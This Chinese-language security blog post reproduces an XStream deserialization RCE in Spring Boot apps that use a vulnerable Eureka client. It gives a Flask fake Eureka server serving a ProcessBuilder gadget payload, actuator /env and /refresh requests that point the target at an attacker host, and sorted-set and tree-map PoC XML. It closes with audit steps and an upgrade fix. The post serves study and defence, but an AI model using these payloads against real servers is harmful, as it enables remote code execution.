Java代码审计之Eureka Xstream RCE

Java代码审计之Eureka Xstream RCE

注:本文为复现文和学习文,原创极少,参考了大量参考链接里的内容~感兴趣者自行阅读原作

0x01. 原理

  1. eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址
  2. refresh 触发目标机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload
  3. 目标机器相关依赖解析 payload,触发 XStream 反序列化,造成 RCE 漏洞

0x02. 利用条件:

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
  • 目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中)
  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网)

/env可访问

/env中含 spring-boot-starter-actuator- (/refresh需要)

spring-cloud-starter-netflix-eureka-client-

eureka-client-

0x03. 复现过程

1. 访问env

有spring-boot-starter-actuator-字符串

image-20211025155906385

有spring-cloud-starter-netflix-eureka-client- 和eureka-client- 字符串

image-20211025155947148

image-20211025160013448

2. 架设响应恶意 XStream payload 的网站

项目地址https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py

# -*- coding: utf-8 -*-

from flask import Flask, Response
app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods = ['GET', 'POST'])
def catch_all(path):
    xml = """<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
    <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
      <is class="javax.crypto.CipherInputStream">
    <cipher class="javax.crypto.NullCipher">
      <serviceIterator class="javax.imageio.spi.FilterIterator">
    <iter class="javax.imageio.spi.FilterIterator">
      <iter class="java.util.Collections$EmptyIterator"/>
      <next class="java.lang.ProcessBuilder">
    <command>
    <string>cmd.exe</string>
    <string>/c</string>
    <string>calc.exe</string>
    </command>
    <redirectErrorStream>false</redirectErrorStream>
      </next>
    </iter>
    <filter class="javax.imageio.ImageIO$ContainsFilter">
      <method>
    <class>java.lang.ProcessBuilder</class>
    <name>start</name>
    <parameter-types/>
      </method>
      <name>foo</name>
    </filter>
    <next class="string">foo</next>
      </serviceIterator>
      <lock/>
    </cipher>
    <input class="java.lang.ProcessBuilder$NullInputStream"/>
    <ibuffer></ibuffer>
      </is>
    </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
    return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8010)

image-20211025164721846

3. 利用

设置 eureka.client.serviceUrl.defaultZone 属性

spring 1.x

POST /env HTTP/1.1
Host: 127.0.0.1:9093
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example

spring 2.x

POST /actuator/env HTTP/1.1
Host: 127.0.0.1:9093
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}

Attack

POST /env HTTP/1.1
Host: 127.0.0.1:9093
Content-Type: application/x-www-form-urlencoded
Content-Length: 75

eureka.client.serviceUrl.defaultZone=http://IP:8010/springboot_win

image-20211025164523565

刷新配置

spring 1.x

POST /refresh
Host: 127.0.0.1:9092
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Host: 127.0.0.1:9092
Content-Type: application/json

Attack

POST /refresh
Host: 127.0.0.1:9093
Content-Type: application/x-www-form-urlencoded

此时有请求到Web服务上

image-20211025164317193

同时弹出了计算器

image-20211025164548069

0x04 Xstream反序列化原理分析

1. 影响范围

在1.4.x系列版本中,<=1.4.6或=1.4.10是存在反序列化漏洞的。

Marshaller接口,将Java对象序列化为XML数据。
Unmarshaller接口,将XML数据反序列化为Java对象。

CVE-2021-21344 任意代码执行 XStream易受任意代码执行攻击。
CVE-2021-21345 远程命令执行 XStream易受远程命令执行攻击。
CVE-2021-21346 任意代码执行 XStream易受任意代码执行攻击。
CVE-2021-21347 任意代码执行 XStream易受任意代码执行攻击。
CVE-2021-21350 任意代码执行 XStream易受任意代码执行攻击。
CVE-2021-21351 任意代码执行 XStream易受任意代码执行攻击。

2. 基本原理

XStream是自己实现的一套序列化和反序列化机制,核心是通过Converter转换器来将XML和对象之间进行相互的转换,这便与原生的Java序列化和反序列化机制有所区别,因此两者的反序列化漏洞也是有着很大区别的。

XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器,该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象,而当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时,就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法;利用这个机制,攻击者可以构造恶意的XML内容,即dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类、interface标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意XML内容后即可触发反序列化漏洞、达到任意代码执行的目的。

Converter转换器

对象转换为XML或将XML转换为对象

转换器需要实现3个方法:

  • canConvert方法:告诉XStream对象,它能够转换的对象;
  • marshal方法:能够将对象转换为XML时候的具体操作;
  • unmarshal方法:能够将XML转换为对象时的具体操作;

动态代理转换器

DynamicProxyConverter即动态代理转换器,是XStream支持的一种转换器,其存在使得XStream能够把XML内容反序列化转换为动态代理类对象

XStream反序列化漏洞的PoC都是以DynamicProxyConverter这个转换器为基础来编写的。

以官网给的例子为例:

<dynamic-proxy>
  <interface>com.foo.Blah</interface>
  <interface>com.foo.Woo</interface>
  <handler class="com.foo.MyHandler">
    <something>blah</something>
  </handler>
</dynamic-proxy>

dynamic-proxy标签在XStream反序列化之后会得到一个动态代理类对象,当访问了该对象的com.foo.Blah或com.foo.Woo这两个接口类中声明的方法时(即interface标签内指定的接口类),就会调用handler标签中的类方法com.foo.MyHandler。

3. 序列化和反序列化

People.java

package com.DemoXstream.Demo1;

import java.io.IOException;
import java.io.Serializable;

public class People implements Serializable{
    private String name;
    private int age;
    private Company workCompany;

    public People(String name, int age, Company workCompany) {
        this.name = name;
        this.age = age;
        this.workCompany = workCompany;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public Company getWorkCompany() {
        return workCompany;
    }

    public void setWorkCompany(Company workCompany) {
        this.workCompany = workCompany;
    }

    private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
        s.defaultReadObject();
        System.out.println("Read People");
    }
}

Company.java

package com.DemoXstream.Demo1;

import java.io.IOException;
import java.io.Serializable;

public class Company implements Serializable {
    private String companyName;
    private String companyLocation;

    public Company(String companyName, String companyLocation) {
        this.companyName = companyName;
        this.companyLocation = companyLocation;
    }

    public String getCompanyName() {
        return companyName;
    }

    public void setCompanyName(String companyName) {
        this.companyName = companyName;
    }

    public String getCompanyLocation() {
        return companyLocation;
    }

    public void setCompanyLocation(String companyLocation) {
        this.companyLocation = companyLocation;
    }

    private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
        s.defaultReadObject();
        System.out.println("Company");
    }
}

DemoMain.java

package com.DemoXstream.Demo1;

import com.thoughtworks.xstream.XStream;

public class DemoMain {
    public static void main(String[] args) throws Exception {
        XStream xStream = new XStream();
        People people = new People("xiaoming",25,new Company("TopSec","BeiJing"));
        String xml = xStream.toXML(people);
        System.out.println(xml);

        Object xml2 = xStream.fromXML(xml);
        System.out.println(xml2);

    }
}

image-20211025194651540

4. 基于sorted-set的Poc

适用范围 : 1.4.5,1.4.6,1.4.10

pom

<!-- https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream -->
<dependency>
        <groupId>com.thoughtworks.xstream</groupId>
        <artifactId>xstream</artifactId>
        <version>1.4.5</version>
</dependency>

IPerson.java

package com.DemoXstream.DemoSortedSet;

public interface IPerson {
    void output();
}

Person.java

package com.DemoXstream.DemoSortedSet;

public class Person implements IPerson {
    String name;
    int age;

    public void output() {
        System.out.print("Hello, this is " + this.name + ", age " + this.age);
    }
}

payload1.xml

<sorted-set>
    <string>foo</string>
    <dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
                <command>
                    <string>/bin/bash</string>
                    <string>-c</string>
                    <string>open -a Calculator</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </dynamic-proxy>
</sorted-set>

DemoSortedSet.java

package com.DemoXstream.DemoSortedSet;

import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;

import java.io.FileInputStream;
import java.io.FileNotFoundException;

public class DemoSortedSet {
    public static void main(String []args) throws FileNotFoundException{
        FileInputStream xml = new FileInputStream("src/main/java/com/DemoXstream/DemoSortedSet/payload1.xml");
        XStream xstream = new XStream(new DomDriver());
        Person p = (Person) xstream.fromXML(xml);
        p.output();
    }

}

弹出计算器

image-20211025194859092

原理过于复杂,没跟下去。。。

5. 基于tree-map的Poc

适用范围

通杀1.4.x系列有漏洞的版本,即<=1.4.6或=1.4.10。

复现

payload2.xml:

<tree-map>
    <entry>
        <string>fookey</string>
        <string>foovalue</string>
    </entry>
    <entry>
        <dynamic-proxy>
            <interface>java.lang.Comparable</interface>
            <handler class="java.beans.EventHandler">
                <target class="java.lang.ProcessBuilder">
                    <command>
                        <string>calc.exe</string>
                    </command>
                </target>
                <action>start</action>
            </handler>
        </dynamic-proxy>
        <string>good</string>
    </entry>
</tree-map>

image-20211025201806955

0x05 eureka xstream deserialization RCE触发点

refresh接口抓包

image-20211025220052900

发现eureka加载了xstream的组件

image-20211025215944270

com\netflix\eureka\eureka-client\1.4.11\eureka-client-1.4.11.jar!\com\netflix\discovery\converters\wrappers\CodecWrappers.class调用了xstream.fromXML()

image-20211025215640667

发现调用的是1.4.9的xstream版本。按理说该版本不存在反序列化漏洞~但是最后能执行了命令。后续再研究

com\thoughtworks\xstream\xstream\1.4.9\xstream-1.4.9.jar!\com\thoughtworks\xstream\XStream.class

image-20211025215752488

0x06. 总结

1.白盒审计定位漏洞点

  1. 查看目标环境中是否有存在漏洞版本的XStream的jar包,即1.4.x系列版本中<=1.4.6或=1.4.10;
  2. 全局搜索是否存在Xstream.fromXML(的地方,若存在则进一步分析该参数是否外部可控;若为1.4.10版本的还需要确认是否开启了安全配置进行了有效的防御;

2. 修复方案

  1. 将XStream升级到最新版,即1.4.11之后的版本;

0x07. 参考链接

主要参考:
https://www.mi1k7ea.com/2019/10/21/XStream%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://github.com/LandGrey/SpringBootVulExploit#0x03eureka-xstream-deserialization-rce
利用链:
http://m0d9.me/2021/05/08/Xstream%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%AF%A6%E8%A7%A3%EF%BC%88%E4%B8%80%EF%BC%89/
https://lightless.me/archives/xstream-rce-analysis.html
https://paper.seebug.org/1543/#2-cve-2021-21344

   转载规则


《Java代码审计之Eureka Xstream RCE》 ske 采用 知识共享署名 4.0 国际许可协议 进行许可。